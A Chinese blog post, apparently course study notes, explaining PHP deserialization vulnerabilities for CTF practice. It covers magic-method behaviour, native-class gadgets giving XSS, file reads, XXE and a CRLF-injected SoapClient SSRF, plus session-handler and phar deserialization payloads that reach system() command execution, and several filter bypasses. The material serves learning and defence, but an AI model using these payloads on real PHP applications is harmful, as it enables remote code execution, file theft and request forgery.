• 几种反序列化漏洞


    1.PHP魔术方法

    1. class c {
    2.     private $name 'hacker';
    3.  
    4.     function __construct(// 构造方法,new时调用
    5.         echo 'construct
      '
      ;
    6.     }
    7.  
    8.     function __serialize(// 序列化时调用
    9.         echo 'serialize
      '
      ;
    10.         return ['hack'];
    11.     }
    12.  
    13.     function __unserialize($data// 反序列化时调用
    14.         echo '__unserialize ';
    15.         print_r($data);
    16.         echo '
      '
      ;
    17.     }
    18.  
    19.     function __sleep(// 序列化时调用,存在 __serialize 就不调用
    20.         echo 'sleep
      '
      ;
    21.         return [];
    22.     }
    23.  
    24.     function __wakeup(// 反序列化时调用,存在 __unserialize 就不调用
    25.         echo 'wakeup
      '
      ;
    26.     }
    27.  
    28.     function __debugInfo(// 对对象使用 var_dump 时调用
    29.         echo 'debugInfo ';
    30.         return [];
    31.     }
    32.  
    33.     function __clone(// 对对象使用 clone 时调用
    34.         echo '
      clone
      '
      ;
    35.     }
    36.  
    37.     function __destruct(// 析构方法,对象销毁时调用
    38.         echo 'destruct
      '
      ;
    39.     }
    40.  
    41.     // 异常处理魔术方法
    42.     function __get($name// 获取不存在或不可访问的变量时调用
    43.         echo 'get '.$name.'
      '
      ;
    44.     }
    45.  
    46.     function __set($name$value// 给不存在或不可访问的变量赋值时调用
    47.         echo 'set '.$name.' '.$value.'
      '
      ;
    48.     }
    49.  
    50.     function __isset($name// 对不存在或不可访问的变量使用 isset 或 empty 时调用
    51.         echo 'isset '.$name.'
      '
      ;
    52.     }
    53.  
    54.     function __unset($name// 对不存在或不可访问的变量使用 unset 时调用
    55.         echo 'unset '.$name.'
      '
      ;
    56.     }
    57.  
    58.     function __call($name$parameter// 调用不存在或不可访问的方法时调用
    59.         echo 'call '.$name.' ';
    60.         print_r($parameter);
    61.         echo '
      '
      ;
    62.     }
    63.  
    64.     static function __callStatic($name$parameter) { // 调用不存在或不可访问的静态方法时调用
    65.         echo 'callStatic '.$name.' ';
    66.         print_r($parameter);
    67.         echo '
      '
      ;
    68.     }
    69.  
    70.     function __toString(// 对象被当作字符串使用时调用
    71.         echo 'toString
      '
      ;
    72.         return '';
    73.     }
    74.  
    75.     function __invoke(// 对象被当作函数调用时调用
    76.         echo 'invoke
      '
      ;
    77.         return '';
    78.     }
    79. }
    80.  
    81. // 创建对象
    82. $c new c();
    83. var_dump($c);
    84. clone $c;
    85.  
    86. // 序列化
    87. $s serialize($c);
    88. echo $s.'

      '
      ;
    89.  
    90. // 反序列化
    91. $u unserialize($s);
    92.  
    93. $u->pass;
    94. $u->pass = 'hacker';
    95. isset($u->name);
    96. empty($u->name);
    97. unset($u->name);
    98.  
    99. $u->function(1);
    100. c::function(2);
    101. $u::function(3);
    102.  
    103. echo $u;
    104. $u.'';
    105. $u();

    2.PHP原生类

    Error类

    PHP>7.0,因为存在__toString,可以进行XSS

    echo new Error('<script>alert(1)script>');
    

    Exception类

    因为存在__toString,可以进行XSS

    echo new Exception('<script>alert(1)script>');
    

    DirectoryIterator类

    因为存在__toString,可以获取符合要求的第一个文件名

    echo new DirectoryIterator('glob://flag*');
    

    SplFileObject类

    因为存在__toString,可以读取文件内容

    echo new SplFileObject('/flag');
    

    SimpleXMLElement

    可以造成 xxe

    xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)

    SimpleXMLElement('http://127.0.0.1/xxe.xml', 2, TRUE);
    

    SoapClient类

    因为存在__call,可以进行SSRF

    phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启

    1. // ua是为了覆盖请求头并让请求包后面的其他内容无效
    2. $ua "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";
    3.  
    4. $soap new SoapClient(nullarray('uri'=>'http://127.0.0.1/''location'=>'http://127.0.0.1/ssrf.php''user_agent'=>$ua));
    5. $soap->function();

    可以通过 NC 看构造的请求包

    1. POST /ssrf.php HTTP/1.1
    2. Host: 127.0.0.1
    3. Connection: Keep-Alive
    4. User-Agent: ua
    5. X-Forwarded-For: 127.0.0.1
    6. Content-Type: application/x-www-form-urlencoded
    7. Content-Length: 6
    8.  
    9. ssrf=1
    10. Content-Type: text/xml; charset=utf-8
    11. SOAPAction: "http://127.0.0.1/#function"
    12. Content-Length: 394
    13.  
    14. <?xml version="1.0" encoding="UTF-8"?>
    15. <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

    3.特殊文件的反序列化

    Session反序列化

    php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:"xxx";

    当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}

    当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:

    先访问这个生成:a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}

    1. ini_set('session.serialize_handler''php_serialize');
    2. session_start();
    3. $_SESSION['user'] = '|O:1:"c":1:{s:4:"code";s:6:"whoami";}';

    再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化

    1. class c{
    2.     function __wakeup({
    3.         system($this->code);
    4.     }
    5. }
    6. session_start();

    phar包反序列化

    phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化

    生成Payload

    1. class c{
    2.     public $code 'whoami';
    3. }
    4.  
    5. $phar new Phar('1.phar');
    6. $phar->startBuffering();
    7. $phar->setStub("");
    8.  
    9. $o new c();
    10. $phar->setMetadata($o);
    11. $phar->addFromString('1.txt''1');
    12. $phar->stopBuffering();

    访问进行反序列化

    1. class c{
    2.     function __wakeup({
    3.         system($this->code);
    4.     }
    5. }
    6. include('1.phar');

    4.绕过

    开头

    数字

    O:+1,PHP<7.2

    O

    1. <?php
    2. class c{
    3.     public $code = 'whoami';
    4.     function __wakeup() {
    5.         system($this->code);
    6.     }
    7. }
    8.  
    9. // a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
    10. $array = [new c()];
    11. echo serialize($array);
    12. echo '
      '
      ;
    13.  
    14. // C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
    15. $obj = new ArrayObject();
    16. $obj->append(new c());
    17. echo serialize($obj);
    18. echo '
      '
      ;
    19.  
    20. // C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
    21. $obj = new SplObjectStorage();
    22. $obj->attach(new c());
    23. echo serialize($obj);
    24. echo '
      '
      ;
    25.  
    26. // C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
    27. $obj = new SplStack();
    28. $obj->push(new c());
    29. echo serialize($obj);
    30. echo '
      '
      ;
    31.  
    32. // C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
    33. $obj = new SplQueue();
    34. $obj->enqueue(new c());
    35. echo serialize($obj);
    36. echo '
      '
      ;
    37.  
    38. // C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
    39. $obj = new SplDoublyLinkedList();
    40. $obj->push(new c());
    41. echo serialize($obj);

    魔术方法

    __wakeup绕过,大于实际值(PHP<=5.5),例:O:1:"c":100...

    __destruct绕过,前面抛出异常

    __destruct调用,结构错误,例:O:1:"c":1:{xxx}

    5.CTF

    private序列化有不可见字符,复制会出错,可以urlencode。包含\n、标签这种情况在HTML复制的不对要ctrl+u复制

    数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:"xxx";、a:2:{i:0;s:1:"1";i:1;s:1:"2";}

    要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改

    看似反序列化的题结果静态函数不需要对象

    字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)

    本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16932108.html

  • 相关阅读:
    大数据——StarRocks 实现高可用连接以及负载均衡(Keepalived+Haproxy服务高可用,outlook邮箱使用mailx报警)
    NX二次开发-NX+VS写代码设断点调试技巧
    SpringBoot(五) - Java8 新特性
    Vue3中ref与reactive的区别
    有能帮我看看这个怎么恢复吗?
    java--赋值运算符
    数据结构 - 线段树的运用
    Go语言的安装与环境配置
    性能测试什么时候开始?性能测试流程介绍
    java 内部类
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/132587865